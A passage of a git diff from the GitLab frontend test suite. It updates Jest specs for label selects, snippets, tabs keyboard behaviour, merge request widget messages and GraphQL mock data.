- footerManageLabelTitle: 'Manage project labels',
- labelsCreateTitle: 'Create project label',
- labelsFetchPath: defaultProps.labelsFetchPath,
- labelsFilterBasePath: defaultProps.projectIssuesPath,
- labelsManagePath: defaultProps.labelsManagePath,
- labelsSelectInProgress: false,
- selectedLabels: defaultProps.initiallySelectedLabels,
- variant: DropdownVariant.Sidebar,
- });
- });
- });
-
- describe('when type is issue', () => {
- beforeEach(() => {
- mountComponent({ issuableType: IssuableType.Issue });
- });
-
- describe('when labels are updated', () => {
- it('invokes a mutation', () => {
- findLabelsSelect().vm.$emit('updateSelectedLabels', userUpdatedLabels);
-
- const expected = {
- mutation: updateIssueLabelsMutation,
- variables: {
- input: {
- iid: defaultProps.iid,
- projectPath: defaultProps.projectPath,
- labelIds: [toLabelGid(29), toLabelGid(28), toLabelGid(27), toLabelGid(40)],
- },
- },
- };
-
- expect($apollo.mutate).toHaveBeenCalledWith(expected);
- });
- });
-
- describe('when label `x` is clicked', () => {
- it('invokes a mutation', () => {
- findLabelsSelect().vm.$emit('onLabelRemove', 27);
-
- const expected = {
- mutation: updateIssueLabelsMutation,
- variables: {
- input: {
- iid: defaultProps.iid,
- projectPath: defaultProps.projectPath,
- removeLabelIds: [27],
- },
- },
- };
-
- expect($apollo.mutate).toHaveBeenCalledWith(expected);
- });
- });
- });
-
- describe('when type is merge_request', () => {
- beforeEach(() => {
- mountComponent({ issuableType: IssuableType.MergeRequest });
- });
-
- describe('when labels are updated', () => {
- it('invokes a mutation', () => {
- findLabelsSelect().vm.$emit('updateSelectedLabels', userUpdatedLabels);
-
- const expected = {
- mutation: updateMergeRequestLabelsMutation,
- variables: {
- input: {
- iid: defaultProps.iid,
- labelIds: [toLabelGid(29), toLabelGid(28), toLabelGid(27), toLabelGid(40)],
- operationMode: MutationOperationMode.Replace,
- projectPath: defaultProps.projectPath,
- },
- },
- };
-
- expect($apollo.mutate).toHaveBeenCalledWith(expected);
- });
- });
-
- describe('when label `x` is clicked', () => {
- it('invokes a mutation', () => {
- findLabelsSelect().vm.$emit('onLabelRemove', 27);
-
- const expected = {
- mutation: updateMergeRequestLabelsMutation,
- variables: {
- input: {
- iid: defaultProps.iid,
- labelIds: [toLabelGid(27)],
- operationMode: MutationOperationMode.Remove,
- projectPath: defaultProps.projectPath,
- },
- },
- };
-
- expect($apollo.mutate).toHaveBeenCalledWith(expected);
- });
- });
- });
-});
diff --git a/spec/frontend/snippets/components/__snapshots__/snippet_visibility_edit_spec.js.snap b/spec/frontend/snippets/components/__snapshots__/snippet_visibility_edit_spec.js.snap
index 5df69ffb5f8..f4ebc5c3e3f 100644
--- a/spec/frontend/snippets/components/__snapshots__/snippet_visibility_edit_spec.js.snap
+++ b/spec/frontend/snippets/components/__snapshots__/snippet_visibility_edit_spec.js.snap
@@ -23,6 +23,7 @@ exports[`Snippet Visibility Edit component rendering matches the snapshot 1`] =
class="gl-mb-0"
id="visibility-level-setting"
labeldescription=""
+ optionaltext="(optional)"
>
<gl-form-radio-group-stub
checked="private"
diff --git a/spec/frontend/snippets/components/edit_spec.js b/spec/frontend/snippets/components/edit_spec.js
index 4e88ab9504e..80a8b8ec489 100644
--- a/spec/frontend/snippets/components/edit_spec.js
+++ b/spec/frontend/snippets/components/edit_spec.js
@@ -53,6 +53,7 @@ const createMutationResponse = (key, obj = {}) => ({
errors: [],
snippet: {
__typename: 'Snippet',
+ id: 1,
webUrl: TEST_WEB_URL,
},
},
diff --git a/spec/frontend/snippets/components/snippet_header_spec.js b/spec/frontend/snippets/components/snippet_header_spec.js
index 552a1c6fcde..2d5e0cfd615 100644
--- a/spec/frontend/snippets/components/snippet_header_spec.js
+++ b/spec/frontend/snippets/components/snippet_header_spec.js
@@ -252,7 +252,7 @@ describe('Snippet header component', () => {
disabled: false,
href: `/foo/-/snippets/new`,
text: 'New snippet',
- variant: 'success',
+ variant: 'confirm',
},
]),
);
diff --git a/spec/frontend/snippets/test_utils.js b/spec/frontend/snippets/test_utils.js
index 8ba5a2fe5dc..dcef8fc9a8b 100644
--- a/spec/frontend/snippets/test_utils.js
+++ b/spec/frontend/snippets/test_utils.js
@@ -27,6 +27,7 @@ export const createGQLSnippet = () => ({
},
project: {
__typename: 'Project',
+ id: 'project-1',
fullPath: 'group/project',
webUrl: `${TEST_HOST}/group/project`,
},
diff --git a/spec/frontend/tabs/index_spec.js b/spec/frontend/tabs/index_spec.js
new file mode 100644
index 00000000000..98617b404ff
--- /dev/null
+++ b/spec/frontend/tabs/index_spec.js
@@ -0,0 +1,260 @@
+import { GlTabsBehavior, TAB_SHOWN_EVENT } from '~/tabs';
+import { ACTIVE_PANEL_CLASS, ACTIVE_TAB_CLASSES } from '~/tabs/constants';
+import { getFixture, setHTMLFixture } from 'helpers/fixtures';
+
+const tabsFixture = getFixture('tabs/tabs.html');
+
+describe('GlTabsBehavior', () => {
+ let glTabs;
+ let tabShownEventSpy;
+
+ const findByTestId = (testId) => document.querySelector(`[data-testid="${testId}"]`);
+ const findTab = (name) => findByTestId(`${name}-tab`);
+ const findPanel = (name) => findByTestId(`${name}-panel`);
+
+ const getAttributes = (element) =>
+ Array.from(element.attributes).reduce((acc, attr) => {
+ acc[attr.name] = attr.value;
+ return acc;
+ }, {});
+
+ const expectActiveTabAndPanel = (name) => {
+ const tab = findTab(name);
+ const panel = findPanel(name);
+
+ expect(glTabs.activeTab).toBe(tab);
+
+ expect(getAttributes(tab)).toMatchObject({
+ 'aria-controls': panel.id,
+ 'aria-selected': 'true',
+ role: 'tab',
+ id: expect.any(String),
+ });
+
+ ACTIVE_TAB_CLASSES.forEach((klass) => {
+ expect(tab.classList.contains(klass)).toBe(true);
+ });
+
+ expect(getAttributes(panel)).toMatchObject({
+ 'aria-labelledby': tab.id,
+ role: 'tabpanel',
+ });
+
+ expect(panel.classList.contains(ACTIVE_PANEL_CLASS)).toBe(true);
+ };
+
+ const expectInactiveTabAndPanel = (name) => {
+ const tab = findTab(name);
+ const panel = findPanel(name);
+
+ expect(glTabs.activeTab).not.toBe(tab);
+
+ expect(getAttributes(tab)).toMatchObject({
+ 'aria-controls': panel.id,
+ 'aria-selected': 'false',
+ role: 'tab',
+ tabindex: '-1',
+ id: expect.any(String),
+ });
+
+ ACTIVE_TAB_CLASSES.forEach((klass) => {
+ expect(tab.classList.contains(klass)).toBe(false);
+ });
+
+ expect(getAttributes(panel)).toMatchObject({
+ 'aria-labelledby': tab.id,
+ role: 'tabpanel',
+ });
+
+ expect(panel.classList.contains(ACTIVE_PANEL_CLASS)).toBe(false);
+ };
+
+ const expectGlTabShownEvent = (name) => {
+ expect(tabShownEventSpy).toHaveBeenCalledTimes(1);
+
+ const [event] = tabShownEventSpy.mock.calls[0];
+ expect(event.target).toBe(findTab(name));
+
+ expect(event.detail).toEqual({
+ activeTabPanel: findPanel(name),
+ });
+ };
+
+ const triggerKeyDown = (code, element) => {
+ const event = new KeyboardEvent('keydown', { code });
+
+ element.dispatchEvent(event);
+ };
+
+ it('throws when instantiated without an element', () => {
+ expect(() => new GlTabsBehavior()).toThrow('Cannot instantiate');
+ });
+
+ describe('when given an element', () => {
+ afterEach(() => {
+ glTabs.destroy();
+ });
+
+ beforeEach(() => {
+ setHTMLFixture(tabsFixture);
+
+ const tabsEl = findByTestId('tabs');
+ tabShownEventSpy = jest.fn();
+ tabsEl.addEventListener(TAB_SHOWN_EVENT, tabShownEventSpy);
+
+ glTabs = new GlTabsBehavior(tabsEl);
+ });
+
+ it('instantiates', () => {
+ expect(glTabs).toEqual(expect.any(GlTabsBehavior));
+ });
+
+ it('sets the active tab', () => {
+ expectActiveTabAndPanel('foo');
+ });
+
+ it(`does not fire an initial ${TAB_SHOWN_EVENT} event`, () => {
+ expect(tabShownEventSpy).not.toHaveBeenCalled();
+ });
+
+ describe('clicking on an inactive tab', () => {
+ beforeEach(() => {
+ findTab('bar').click();
+ });
+
+ it('changes the active tab', () => {
+ expectActiveTabAndPanel('bar');
+ });
+
+ it('deactivates the previously active tab', () => {
+ expectInactiveTabAndPanel('foo');
+ });
+
+ it(`dispatches a ${TAB_SHOWN_EVENT} event`, () => {
+ expectGlTabShownEvent('bar');
+ });
+ });
+
+ describe('clicking on the active tab', () => {
+ beforeEach(() => {
+ findTab('foo').click();
+ });
+
+ it('does nothing', () => {
+ expectActiveTabAndPanel('foo');
+ expect(tabShownEventSpy).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('keyboard navigation', () => {
+ it.each(['ArrowRight', 'ArrowDown'])('pressing %s moves to next tab', (code) => {
+ expectActiveTabAndPanel('foo');
+
+ triggerKeyDown(code, glTabs.activeTab);
+
+ expectActiveTabAndPanel('bar');
+ expectInactiveTabAndPanel('foo');
+ expectGlTabShownEvent('bar');
+ tabShownEventSpy.mockClear();
+
+ triggerKeyDown(code, glTabs.activeTab);
+
+ expectActiveTabAndPanel('qux');
+ expectInactiveTabAndPanel('bar');
+ expectGlTabShownEvent('qux');
+ tabShownEventSpy.mockClear();
+
+ // We're now on the last tab, so the active tab should not change
+ triggerKeyDown(code, glTabs.activeTab);
+
+ expectActiveTabAndPanel('qux');
+ expect(tabShownEventSpy).not.toHaveBeenCalled();
+ });
+
+ it.each(['ArrowLeft', 'ArrowUp'])('pressing %s moves to previous tab', (code) => {
+ // First, make the last tab active
+ findTab('qux').click();
+ tabShownEventSpy.mockClear();
+
+ // Now start moving backwards
+ expectActiveTabAndPanel('qux');
+
+ triggerKeyDown(code, glTabs.activeTab);
+
+ expectActiveTabAndPanel('bar');
+ expectInactiveTabAndPanel('qux');
+ expectGlTabShownEvent('bar');
+ tabShownEventSpy.mockClear();
+
+ triggerKeyDown(code, glTabs.activeTab);
+
+ expectActiveTabAndPanel('foo');
+ expectInactiveTabAndPanel('bar');
+ expectGlTabShownEvent('foo');
+ tabShownEventSpy.mockClear();
+
+ // We're now on the first tab, so the active tab should not change
+ triggerKeyDown(code, glTabs.activeTab);
+
+ expectActiveTabAndPanel('foo');
+ expect(tabShownEventSpy).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('destroying', () => {
+ beforeEach(() => {
+ glTabs.destroy();
+ });
+
+ it('removes interactivity', () => {
+ const inactiveTab = findTab('bar');
+
+ // clicks do nothing
+ inactiveTab.click();
+ expectActiveTabAndPanel('foo');
+ expect(tabShownEventSpy).not.toHaveBeenCalled();
+
+ // keydown events do nothing
+ triggerKeyDown('ArrowDown', inactiveTab);
+ expectActiveTabAndPanel('foo');
+ expect(tabShownEventSpy).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('activateTab method', () => {
+ it.each`
+ tabState | name
+ ${'active'} | ${'foo'}
+ ${'inactive'} | ${'bar'}
+ `('can programmatically activate an $tabState tab', ({ name }) => {
+ glTabs.activateTab(findTab(name));
+ expectActiveTabAndPanel(name);
+ expectGlTabShownEvent(name, 'foo');
+ });
+ });
+ });
+
+ describe('using aria-controls instead of href to link tabs to panels', () => {
+ beforeEach(() => {
+ setHTMLFixture(tabsFixture);
+
+ const tabsEl = findByTestId('tabs');
+ ['foo', 'bar', 'qux'].forEach((name) => {
+ const tab = findTab(name);
+ const panel = findPanel(name);
+
+ tab.setAttribute('href', '#');
+ tab.setAttribute('aria-controls', panel.id);
+ });
+
+ glTabs = new GlTabsBehavior(tabsEl);
+ });
+
+ it('connects the panels to their tabs correctly', () => {
+ findTab('bar').click();
+
+ expectActiveTabAndPanel('bar');
+ expectInactiveTabAndPanel('foo');
+ });
+ });
+});
diff --git a/spec/frontend/terraform/components/terraform_list_spec.js b/spec/frontend/terraform/components/terraform_list_spec.js
index c622f86072d..8e565df81ae 100644
--- a/spec/frontend/terraform/components/terraform_list_spec.js
+++ b/spec/frontend/terraform/components/terraform_list_spec.js
@@ -23,6 +23,7 @@ describe('TerraformList', () => {
const apolloQueryResponse = {
data: {
project: {
+ id: '1',
terraformStates,
},
},
diff --git a/spec/frontend/test_setup.js b/spec/frontend/test_setup.js
index 40f68c6385f..4fe51db8412 100644
--- a/spec/frontend/test_setup.js
+++ b/spec/frontend/test_setup.js
@@ -1,30 +1,10 @@
-import { config as testUtilsConfig } from '@vue/test-utils';
-import * as jqueryMatchers from 'custom-jquery-matchers';
-import Vue from 'vue';
-import 'jquery';
-import { setGlobalDateToFakeDate } from 'helpers/fake_date';
-import setWindowLocation from 'helpers/set_window_location_helper';
-import { TEST_HOST } from 'helpers/test_constants';
-import Translate from '~/vue_shared/translate';
-import { loadHTMLFixture, setHTMLFixture } from './__helpers__/fixtures';
-import { initializeTestTimeout } from './__helpers__/timeout';
-import customMatchers from './matchers';
-import { setupManualMocks } from './mocks/mocks_helper';
+/* Setup for unit test environment */
+import 'helpers/shared_test_setup';
+import { initializeTestTimeout } from 'helpers/timeout';
-import './__helpers__/dom_shims';
-import './__helpers__/jquery';
-import '~/commons/bootstrap';
+jest.mock('~/lib/utils/axios_utils', () => jest.requireActual('helpers/mocks/axios_utils'));
-// This module has some fairly decent visual test coverage in it's own repository.
-jest.mock('@gitlab/favicon-overlay');
-
-process.on('unhandledRejection', global.promiseRejectionHandler);
-
-setupManualMocks();
-
-// Fake the `Date` for the rest of the jest spec runtime environment.
-// https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39496#note_503084332
-setGlobalDateToFakeDate();
+initializeTestTimeout(process.env.CI ? 6000 : 500);
afterEach(() =>
// give Promises a bit more time so they fail the right test
@@ -33,71 +13,3 @@ afterEach(() =>
jest.runOnlyPendingTimers();
}),
);
-
-initializeTestTimeout(process.env.CI ? 6000 : 500);
-
-Vue.config.devtools = false;
-Vue.config.productionTip = false;
-
-Vue.use(Translate);
-
-// convenience wrapper for migration from Karma
-Object.assign(global, {
- loadFixtures: loadHTMLFixture,
- setFixtures: setHTMLFixture,
-});
-
-const JQUERY_MATCHERS_TO_EXCLUDE = ['toHaveLength', 'toExist'];
-
-// custom-jquery-matchers was written for an old Jest version, we need to make it compatible
-Object.entries(jqueryMatchers).forEach(([matcherName, matcherFactory]) => {
- // Exclude these jQuery matchers
- if (JQUERY_MATCHERS_TO_EXCLUDE.includes(matcherName)) {
- return;
- }
-
- expect.extend({
- [matcherName]: matcherFactory().compare,
- });
-});
-
-expect.extend(customMatchers);
-
-testUtilsConfig.deprecationWarningHandler = (method, message) => {
- const ALLOWED_DEPRECATED_METHODS = [
- // https://gitlab.com/gitlab-org/gitlab/-/issues/295679
- 'finding components with `find` or `get`',
-
- // https://gitlab.com/gitlab-org/gitlab/-/issues/295680
- 'finding components with `findAll`',
- ];
- if (!ALLOWED_DEPRECATED_METHODS.includes(method)) {
- global.console.error(message);
- }
-};
-
-Object.assign(global, {
- requestIdleCallback(cb) {
- const start = Date.now();
- return setTimeout(() => {
- cb({
- didTimeout: false,
- timeRemaining: () => Math.max(0, 50 - (Date.now() - start)),
- });
- });
- },
- cancelIdleCallback(id) {
- clearTimeout(id);
- },
-});
-
-beforeEach(() => {
- // make sure that each test actually tests something
- // see https://jestjs.io/docs/en/expect#expecthasassertions
- expect.hasAssertions();
-
- // Reset the mocked window.location. This ensures tests don't interfere with
- // each other, and removes the need to tidy up if it was changed for a given
- // test.
- setWindowLocation(TEST_HOST);
-});
diff --git a/spec/frontend/token_access/mock_data.js b/spec/frontend/token_access/mock_data.js
index 14d7b00cb6d..0f121fd1beb 100644
--- a/spec/frontend/token_access/mock_data.js
+++ b/spec/frontend/token_access/mock_data.js
@@ -1,6 +1,7 @@
export const enabledJobTokenScope = {
data: {
project: {
+ id: '1',
ciCdSettings: {
jobTokenScopeEnabled: true,
__typename: 'ProjectCiCdSetting',
@@ -13,6 +14,7 @@ export const enabledJobTokenScope = {
export const disabledJobTokenScope = {
data: {
project: {
+ id: '1',
ciCdSettings: {
jobTokenScopeEnabled: false,
__typename: 'ProjectCiCdSetting',
@@ -39,12 +41,14 @@ export const projectsWithScope = {
data: {
project: {
__typename: 'Project',
+ id: '1',
ciJobTokenScope: {
__typename: 'CiJobTokenScopeType',
projects: {
__typename: 'ProjectConnection',
nodes: [
{
+ id: '2',
fullPath: 'root/332268-test',
name: 'root/332268-test',
},
@@ -75,10 +79,17 @@ export const removeProjectSuccess = {
export const mockProjects = [
{
+ id: '1',
name: 'merge-train-stuff',
fullPath: 'root/merge-train-stuff',
isLocked: false,
__typename: 'Project',
},
- { name: 'ci-project', fullPath: 'root/ci-project', isLocked: true, __typename: 'Project' },
+ {
+ id: '2',
+ name: 'ci-project',
+ fullPath: 'root/ci-project',
+ isLocked: true,
+ __typename: 'Project',
+ },
];
diff --git a/spec/frontend/transfer_edit_spec.js b/spec/frontend/transfer_edit_spec.js
index ad8c9c68f37..4091d753fe5 100644
--- a/spec/frontend/transfer_edit_spec.js
+++ b/spec/frontend/transfer_edit_spec.js
@@ -4,11 +4,11 @@ import { loadHTMLFixture } from 'helpers/fixtures';
import setupTransferEdit from '~/transfer_edit';
describe('setupTransferEdit', () => {
- const formSelector = '.js-project-transfer-form';
- const targetSelector = 'select.select2';
+ const formSelector = '.js-group-transfer-form';
+ const targetSelector = '#new_parent_group_id';
beforeEach(() => {
- loadHTMLFixture('projects/edit.html');
+ loadHTMLFixture('groups/edit.html');
setupTransferEdit(formSelector, targetSelector);
});
@@ -17,8 +17,8 @@ describe('setupTransferEdit', () => {
});
it('enables submit button when selection changes to non-empty value', () => {
- const nonEmptyValue = $(formSelector).find(targetSelector).find('option').not(':empty').val();
- $(formSelector).find(targetSelector).val(nonEmptyValue).trigger('change');
+ const lastValue = $(formSelector).find(targetSelector).find('.dropdown-content li').last();
+ $(formSelector).find(targetSelector).val(lastValue).trigger('change');
expect($(formSelector).find(':submit').prop('disabled')).toBeFalsy();
});
diff --git a/spec/frontend/vue_mr_widget/components/extensions/utils_spec.js b/spec/frontend/vue_mr_widget/components/extensions/utils_spec.js
new file mode 100644
index 00000000000..64e802c4fa5
--- /dev/null
+++ b/spec/frontend/vue_mr_widget/components/extensions/utils_spec.js
@@ -0,0 +1,18 @@
+import { generateText } from '~/vue_merge_request_widget/components/extensions/utils';
+
+describe('generateText', () => {
+ it.each`
+ text | expectedText
+ ${'%{strong_start}Hello world%{strong_end}'} | ${'<span class="gl-font-weight-bold">Hello world</span>'}
+ ${'%{success_start}Hello world%{success_end}'} | ${'<span class="gl-font-weight-bold gl-text-green-500">Hello world</span>'}
+ ${'%{danger_start}Hello world%{danger_end}'} | ${'<span class="gl-font-weight-bold gl-text-red-500">Hello world</span>'}
+ ${'%{critical_start}Hello world%{critical_end}'} | ${'<span class="gl-font-weight-bold gl-text-red-800">Hello world</span>'}
+ ${'%{same_start}Hello world%{same_end}'} | ${'<span class="gl-font-weight-bold gl-text-gray-700">Hello world</span>'}
+ ${'%{small_start}Hello world%{small_end}'} | ${'<span class="gl-font-sm">Hello world</span>'}
+ ${'%{strong_start}%{danger_start}Hello world%{danger_end}%{strong_end}'} | ${'<span class="gl-font-weight-bold"><span class="gl-font-weight-bold gl-text-red-500">Hello world</span></span>'}
+ ${'%{no_exist_start}Hello world%{no_exist_end}'} | ${'Hello world'}
+ ${['array']} | ${null}
+ `('generates $expectedText from $text', ({ text, expectedText }) => {
+ expect(generateText(text)).toBe(expectedText);
+ });
+});
diff --git a/spec/frontend/vue_mr_widget/components/states/commit_edit_spec.js b/spec/frontend/vue_mr_widget/components/states/commit_edit_spec.js
index f965fc32dc1..c30f6f1dfd1 100644
--- a/spec/frontend/vue_mr_widget/components/states/commit_edit_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/commit_edit_spec.js
@@ -3,7 +3,6 @@ import CommitEdit from '~/vue_merge_request_widget/components/states/commit_edit
const testCommitMessage = 'Test commit message';
const testLabel = 'Test label';
-const testTextMuted = 'Test text muted';
const testInputId = 'test-input-id';
describe('Commits edit component', () => {
@@ -64,7 +63,6 @@ describe('Commits edit component', () => {
beforeEach(() => {
createComponent({
header: `<div class="test-header">${testCommitMessage}</div>`,
- 'text-muted': `<p class="test-text-muted">${testTextMuted}</p>`,
});
});
@@ -74,12 +72,5 @@ describe('Commits edit component', () => {
expect(headerSlotElement.exists()).toBe(true);
expect(headerSlotElement.text()).toBe(testCommitMessage);
});
-
- it('renders text-muted slot correctly', () => {
- const textMutedElement = wrapper.find('.test-text-muted');
-
- expect(textMutedElement.exists()).toBe(true);
- expect(textMutedElement.text()).toBe(testTextMuted);
- });
});
});
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_archived_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_archived_spec.js
index 4bdc6c95f22..f3061d792d0 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_archived_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_archived_spec.js
@@ -25,7 +25,7 @@ describe('MRWidgetArchived', () => {
it('renders information', () => {
expect(vm.$el.querySelector('.bold').textContent.trim()).toEqual(
- 'This project is archived, write access has been disabled',
+ 'Merge unavailable: merge requests are read-only on archived projects.',
);
});
});
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js
index e1bce7f0474..89de160b02f 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js
@@ -12,6 +12,14 @@ describe('MRWidgetConflicts', () => {
const findResolveButton = () => wrapper.findByTestId('resolve-conflicts-button');
const findMergeLocalButton = () => wrapper.findByTestId('merge-locally-button');
+ const mergeConflictsText = 'Merge blocked: merge conflicts must be resolved.';
+ const fastForwardMergeText =
+ 'Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally.';
+ const userCannotMergeText =
+ 'Users who can write to the source or target branches can resolve the conflicts.';
+ const resolveConflictsBtnText = 'Resolve conflicts';
+ const mergeLocallyBtnText = 'Merge locally';
+
function createComponent(propsData = {}) {
wrapper = extendedWrapper(
shallowMount(ConflictsComponent, {
@@ -81,16 +89,16 @@ describe('MRWidgetConflicts', () => {
});
it('should tell you about conflicts without bothering other people', () => {
- expect(wrapper.text()).toContain('There are merge conflicts');
- expect(wrapper.text()).not.toContain('ask someone with write access');
+ expect(wrapper.text()).toContain(mergeConflictsText);
+ expect(wrapper.text()).not.toContain(userCannotMergeText);
});
it('should not allow you to resolve the conflicts', () => {
- expect(wrapper.text()).not.toContain('Resolve conflicts');
+ expect(wrapper.text()).not.toContain(resolveConflictsBtnText);
});
it('should have merge buttons', () => {
- expect(findMergeLocalButton().text()).toContain('Merge locally');
+ expect(findMergeLocalButton().text()).toContain(mergeLocallyBtnText);
});
});
@@ -107,17 +115,17 @@ describe('MRWidgetConflicts', () => {
});
it('should tell you about conflicts', () => {
- expect(wrapper.text()).toContain('There are merge conflicts');
- expect(wrapper.text()).toContain('ask someone with write access');
+ expect(wrapper.text()).toContain(mergeConflictsText);
+ expect(wrapper.text()).toContain(userCannotMergeText);
});
it('should allow you to resolve the conflicts', () => {
- expect(findResolveButton().text()).toContain('Resolve conflicts');
+ expect(findResolveButton().text()).toContain(resolveConflictsBtnText);
expect(findResolveButton().attributes('href')).toEqual(path);
});
it('should not have merge buttons', () => {
- expect(wrapper.text()).not.toContain('Merge locally');
+ expect(wrapper.text()).not.toContain(mergeLocallyBtnText);
});
});
@@ -134,17 +142,17 @@ describe('MRWidgetConflicts', () => {
});
it('should tell you about conflicts without bothering other people', () => {
- expect(wrapper.text()).toContain('There are merge conflicts');
- expect(wrapper.text()).not.toContain('ask someone with write access');
+ expect(wrapper.text()).toContain(mergeConflictsText);
+ expect(wrapper.text()).not.toContain(userCannotMergeText);
});
it('should allow you to resolve the conflicts', () => {
- expect(findResolveButton().text()).toContain('Resolve conflicts');
+ expect(findResolveButton().text()).toContain(resolveConflictsBtnText);
expect(findResolveButton().attributes('href')).toEqual(path);
});
it('should have merge buttons', () => {
- expect(findMergeLocalButton().text()).toContain('Merge locally');
+ expect(findMergeLocalButton().text()).toContain(mergeLocallyBtnText);
});
});
@@ -158,9 +166,7 @@ describe('MRWidgetConflicts', () => {
},
});
- expect(wrapper.text().trim().replace(/\s\s+/g, ' ')).toContain(
- 'ask someone with write access',
- );
+ expect(wrapper.text().trim().replace(/\s\s+/g, ' ')).toContain(userCannotMergeText);
});
it('should not have action buttons', async () => {
@@ -198,9 +204,7 @@ describe('MRWidgetConflicts', () => {
},
});
- expect(removeBreakLine(wrapper.text()).trim()).toContain(
- 'Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally.',
- );
+ expect(removeBreakLine(wrapper.text()).trim()).toContain(fastForwardMergeText);
});
});
@@ -236,7 +240,7 @@ describe('MRWidgetConflicts', () => {
});
it('should allow you to resolve the conflicts', () => {
- expect(findResolveButton().text()).toContain('Resolve conflicts');
+ expect(findResolveButton().text()).toContain(resolveConflictsBtnText);
expect(findResolveButton().attributes('href')).toEqual(TEST_HOST);
});
});
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_ready_to_merge_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_ready_to_merge_spec.js
index 016b6b2220b..7082a19a8e7 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_ready_to_merge_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_ready_to_merge_spec.js
@@ -1,5 +1,6 @@
import { shallowMount } from '@vue/test-utils';
import Vue from 'vue';
+import { GlSprintf } from '@gitlab/ui';
import simplePoll from '~/lib/utils/simple_poll';
import CommitEdit from '~/vue_merge_request_widget/components/states/commit_edit.vue';
import CommitMessageDropdown from '~/vue_merge_request_widget/components/states/commit_message_dropdown.vue';
@@ -487,6 +488,7 @@ describe('ReadyToMerge', () => {
const findCommitEditElements = () => wrapper.findAll(CommitEdit);
const findCommitDropdownElement = () => wrapper.find(CommitMessageDropdown);
const findFirstCommitEditLabel = () => findCommitEditElements().at(0).props('label');
+ const findTipLink = () => wrapper.find(GlSprintf);
describe('squash checkbox', () => {
it('should be rendered when squash before merge is enabled and there is more than 1 commit', () => {
@@ -503,10 +505,10 @@ describe('ReadyToMerge', () => {
expect(findCheckboxElement().exists()).toBeFalsy();
});
- it('should not be rendered when there is only 1 commit', () => {
+ it('should be rendered when there is only 1 commit', () => {
createComponent({ mr: { commitsCount: 1, enableSquashBeforeMerge: true } });
- expect(findCheckboxElement().exists()).toBeFalsy();
+ expect(findCheckboxElement().exists()).toBe(true);
});
describe('squash options', () => {
@@ -751,6 +753,12 @@ describe('ReadyToMerge', () => {
expect(findCommitDropdownElement().exists()).toBeTruthy();
});
});
+
+ it('renders a tip including a link to docs on templates', () => {
+ createComponent();
+
+ expect(findTipLink().exists()).toBe(true);
+ });
});
describe('Merge request project settings', () => {
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_wip_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_wip_spec.js
index 0fb0d5b0b68..4070ca8d8dc 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_wip_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_wip_spec.js
@@ -81,7 +81,9 @@ describe('Wip', () => {
it('should have correct elements', () => {
expect(el.classList.contains('mr-widget-body')).toBeTruthy();
- expect(el.innerText).toContain('This merge request is still a draft.');
+ expect(el.innerText).toContain(
+ "Merge blocked: merge request must be marked as ready. It's still marked as draft.",
+ );
expect(el.querySelector('button').getAttribute('disabled')).toBeTruthy();
expect(el.querySelector('button').innerText).toContain('Merge');
expect(el.querySelector('.js-remove-draft').innerText.replace(/\s\s+/g, ' ')).toContain(
diff --git a/spec/frontend/vue_mr_widget/components/terraform/terraform_plan_spec.js b/spec/frontend/vue_mr_widget/components/terraform/terraform_plan_spec.js
index f95a92c2cb1..3c9f6c2e165 100644
--- a/spec/frontend/vue_mr_widget/components/terraform/terraform_plan_spec.js
+++ b/spec/frontend/vue_mr_widget/components/terraform/terraform_plan_spec.js
@@ -32,9 +32,7 @@ describe('TerraformPlan', () => {
});
it('diplays the header text with a name', () => {
- expect(wrapper.text()).toContain(
- `The report ${validPlanWithName.job_name} was generated in your pipelines.`,
- );
+ expect(wrapper.text()).toContain(`The job ${validPlanWithName.job_name} generated a report.`);
});
it('diplays the reported changes', () => {
@@ -70,7 +68,7 @@ describe('TerraformPlan', () => {
it('diplays the header text with a name', () => {
expect(wrapper.text()).toContain(
- `The report ${invalidPlanWithName.job_name} failed to generate.`,
+ `The job ${invalidPlanWithName.job_name} failed to generate a report.`,
);
});
diff --git a/spec/frontend/vue_mr_widget/mock_data.js b/spec/frontend/vue_mr_widget/mock_data.js
index f0c1da346a1..4538c1320d0 100644
--- a/spec/frontend/vue_mr_widget/mock_data.js
+++ b/spec/frontend/vue_mr_widget/mock_data.js
@@ -271,8 +271,6 @@ export default {
mr_troubleshooting_docs_path: 'help',
ci_troubleshooting_docs_path: 'help2',
merge_request_pipelines_docs_path: '/help/ci/pipelines/merge_request_pipelines.md',
- merge_train_when_pipeline_succeeds_docs_path:
- '/help/ci/pipelines/merge_trains.md#startadd-to-merge-train-when-pipeline-succeeds',
squash: true,
visual_review_app_available: true,
merge_trains_enabled: true,
diff --git a/spec/frontend/vue_mr_widget/mr_widget_options_spec.js b/spec/frontend/vue_mr_widget/mr_widget_options_spec.js
index 550f156d095..8d41f6620ff 100644
--- a/spec/frontend/vue_mr_widget/mr_widget_options_spec.js
+++ b/spec/frontend/vue_mr_widget/mr_widget_options_spec.js
@@ -3,6 +3,7 @@ import { mount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
import Vue, { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
+import * as Sentry from '@sentry/browser';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
